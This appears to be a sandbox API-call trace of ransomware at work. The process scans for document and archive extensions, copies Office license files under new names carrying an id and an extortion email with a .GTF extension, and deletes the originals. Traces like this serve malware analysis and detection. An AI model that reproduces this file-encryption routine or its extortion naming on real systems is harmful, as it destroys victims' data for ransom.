	[0181.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 100
	[0181.475] lstrlenW (lpString=".1cd") returned 4
	[0181.475] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 100
	[0181.475] lstrlenW (lpString=".jpg") returned 4
	[0181.475] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 100
	[0181.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 100
	[0181.475] lstrlenW (lpString=".doc") returned 4
	[0181.475] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.475] lstrlenW (lpString=".docx") returned 5
	[0181.475] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.475] lstrlenW (lpString=".pdf") returned 4
	[0181.475] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.475] lstrlenW (lpString=".xls") returned 4
	[0181.475] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.476] lstrlenW (lpString=".xlsx") returned 5
	[0181.476] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.476] lstrlenW (lpString=".ppt") returned 4
	[0181.476] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 100
	[0181.476] lstrlenW (lpString=".zip") returned 4
	[0181.476] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.476] lstrlenW (lpString=".rar") returned 4
	[0181.476] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.476] lstrlenW (lpString=".bz2") returned 4
	[0181.476] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.476] lstrlenW (lpString=".7z") returned 3
	[0181.476] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 100
	[0181.476] lstrlenW (lpString=".dbf") returned 4
	[0181.476] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 100
	[0181.476] lstrlenW (lpString=".1cd") returned 4
	[0181.476] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 100
	[0181.476] lstrlenW (lpString=".jpg") returned 4
	[0181.476] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.476] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0181.476] lstrlenW (lpString="O365SmallBusPremR_Subscription2-ppd.xrm-ms") returned 42
	[0181.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0181.477] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=27735) returned 1
	[0181.477] CloseHandle (hObject=0x548) returned 1
	[0181.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-ppd.xrm-ms")) returned 0x220
	[0181.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0181.478] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.478] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0181.479] GetLastError () returned 0x0
	[0181.479] ReadFile (in: hFile=0x548, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x6c57, lpOverlapped=0x0) returned 1
	[0181.536] WriteFile (in: hFile=0x378, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x6c60, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x6c60, lpOverlapped=0x0) returned 1
	[0181.568] ReadFile (in: hFile=0x548, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.568] WriteFile (in: hFile=0x378, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x128, lpOverlapped=0x0) returned 1
	[0181.568] SetEndOfFile (hFile=0x378) returned 1
	[0181.568] CloseHandle (hObject=0x378) returned 1
	[0181.568] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.568] SetEndOfFile (hFile=0x548) returned 1
	[0181.573] CloseHandle (hObject=0x548) returned 1
	[0181.573] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.580] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription2-ppd.xrm-ms")) returned 1
	[0181.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms") returned 92
	[0181.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms") returned 92
	[0181.581] lstrlenW (lpString=".doc") returned 4
	[0181.581] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.581] lstrlenW (lpString=".docx") returned 5
	[0181.581] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.581] lstrlenW (lpString=".pdf") returned 4
	[0181.581] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.581] lstrlenW (lpString=".xls") returned 4
	[0181.581] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.581] lstrlenW (lpString=".xlsx") returned 5
	[0181.581] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.581] lstrlenW (lpString=".ppt") returned 4
	[0181.581] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms") returned 92
	[0181.581] lstrlenW (lpString=".zip") returned 4
	[0181.581] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.581] lstrlenW (lpString=".rar") returned 4
	[0181.581] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.582] lstrlenW (lpString=".bz2") returned 4
	[0181.582] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.582] lstrlenW (lpString=".7z") returned 3
	[0181.582] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms") returned 92
	[0181.582] lstrlenW (lpString=".dbf") returned 4
	[0181.582] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms") returned 92
	[0181.582] lstrlenW (lpString=".1cd") returned 4
	[0181.582] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms") returned 92
	[0181.582] lstrlenW (lpString=".jpg") returned 4
	[0181.582] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms") returned 92
	[0181.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms") returned 92
	[0181.582] lstrlenW (lpString=".doc") returned 4
	[0181.582] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.582] lstrlenW (lpString=".docx") returned 5
	[0181.582] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.582] lstrlenW (lpString=".pdf") returned 4
	[0181.582] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.582] lstrlenW (lpString=".xls") returned 4
	[0181.582] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.582] lstrlenW (lpString=".xlsx") returned 5
	[0181.582] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.582] lstrlenW (lpString=".ppt") returned 4
	[0181.582] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms") returned 92
	[0181.582] lstrlenW (lpString=".zip") returned 4
	[0181.582] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.582] lstrlenW (lpString=".rar") returned 4
	[0181.582] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.582] lstrlenW (lpString=".bz2") returned 4
	[0181.582] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.582] lstrlenW (lpString=".7z") returned 3
	[0181.582] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms") returned 92
	[0181.583] lstrlenW (lpString=".dbf") returned 4
	[0181.583] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms") returned 92
	[0181.583] lstrlenW (lpString=".1cd") returned 4
	[0181.583] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription2-ppd.xrm-ms") returned 92
	[0181.583] lstrlenW (lpString=".jpg") returned 4
	[0181.583] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.583] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0181.583] lstrlenW (lpString="O365SmallBusPremR_Subscription3-pl.xrm-ms") returned 41
	[0181.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0181.584] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=11215) returned 1
	[0181.584] CloseHandle (hObject=0x544) returned 1
	[0181.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-pl.xrm-ms")) returned 0x220
	[0181.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0181.585] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.585] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0181.586] GetLastError () returned 0x0
	[0181.586] ReadFile (in: hFile=0x544, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2bcf, lpOverlapped=0x0) returned 1
	[0181.621] WriteFile (in: hFile=0x3d4, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2bd0, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2bd0, lpOverlapped=0x0) returned 1
	[0181.622] ReadFile (in: hFile=0x544, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.622] WriteFile (in: hFile=0x3d4, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x126, lpOverlapped=0x0) returned 1
	[0181.622] SetEndOfFile (hFile=0x3d4) returned 1
	[0181.623] CloseHandle (hObject=0x3d4) returned 1
	[0181.623] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.623] SetEndOfFile (hFile=0x544) returned 1
	[0181.630] CloseHandle (hObject=0x544) returned 1
	[0181.630] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.631] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-pl.xrm-ms")) returned 1
	[0181.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms") returned 91
	[0181.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms") returned 91
	[0181.685] lstrlenW (lpString=".doc") returned 4
	[0181.685] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.685] lstrlenW (lpString=".docx") returned 5
	[0181.685] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.685] lstrlenW (lpString=".pdf") returned 4
	[0181.685] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.685] lstrlenW (lpString=".xls") returned 4
	[0181.685] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.685] lstrlenW (lpString=".xlsx") returned 5
	[0181.685] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.685] lstrlenW (lpString=".ppt") returned 4
	[0181.685] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms") returned 91
	[0181.685] lstrlenW (lpString=".zip") returned 4
	[0181.685] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.685] lstrlenW (lpString=".rar") returned 4
	[0181.685] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.685] lstrlenW (lpString=".bz2") returned 4
	[0181.685] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.685] lstrlenW (lpString=".7z") returned 3
	[0181.685] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms") returned 91
	[0181.685] lstrlenW (lpString=".dbf") returned 4
	[0181.685] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms") returned 91
	[0181.685] lstrlenW (lpString=".1cd") returned 4
	[0181.685] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms") returned 91
	[0181.685] lstrlenW (lpString=".jpg") returned 4
	[0181.685] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms") returned 91
	[0181.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms") returned 91
	[0181.686] lstrlenW (lpString=".doc") returned 4
	[0181.686] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.686] lstrlenW (lpString=".docx") returned 5
	[0181.686] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.686] lstrlenW (lpString=".pdf") returned 4
	[0181.686] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.686] lstrlenW (lpString=".xls") returned 4
	[0181.686] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.686] lstrlenW (lpString=".xlsx") returned 5
	[0181.686] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.686] lstrlenW (lpString=".ppt") returned 4
	[0181.686] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms") returned 91
	[0181.686] lstrlenW (lpString=".zip") returned 4
	[0181.686] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.686] lstrlenW (lpString=".rar") returned 4
	[0181.686] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.686] lstrlenW (lpString=".bz2") returned 4
	[0181.686] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.686] lstrlenW (lpString=".7z") returned 3
	[0181.686] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms") returned 91
	[0181.686] lstrlenW (lpString=".dbf") returned 4
	[0181.686] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms") returned 91
	[0181.686] lstrlenW (lpString=".1cd") returned 4
	[0181.686] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-pl.xrm-ms") returned 91
	[0181.686] lstrlenW (lpString=".jpg") returned 4
	[0181.686] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.686] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0181.686] lstrlenW (lpString="O365SmallBusPremR_Subscription4-ppd.xrm-ms") returned 42
	[0181.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0181.702] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=27735) returned 1
	[0181.702] CloseHandle (hObject=0x548) returned 1
	[0181.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-ppd.xrm-ms")) returned 0x220
	[0181.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c
	[0181.981] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.981] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0181.982] GetLastError () returned 0x0
	[0181.982] ReadFile (in: hFile=0x56c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x6c57, lpOverlapped=0x0) returned 1
	[0181.984] WriteFile (in: hFile=0x45c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x6c60, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x6c60, lpOverlapped=0x0) returned 1
	[0181.985] ReadFile (in: hFile=0x56c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.985] WriteFile (in: hFile=0x45c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x128, lpOverlapped=0x0) returned 1
	[0181.986] SetEndOfFile (hFile=0x45c) returned 1
	[0181.986] CloseHandle (hObject=0x45c) returned 1
	[0181.986] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.986] SetEndOfFile (hFile=0x56c) returned 1
	[0181.989] CloseHandle (hObject=0x56c) returned 1
	[0181.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.989] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-ppd.xrm-ms")) returned 1
	[0181.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms") returned 92
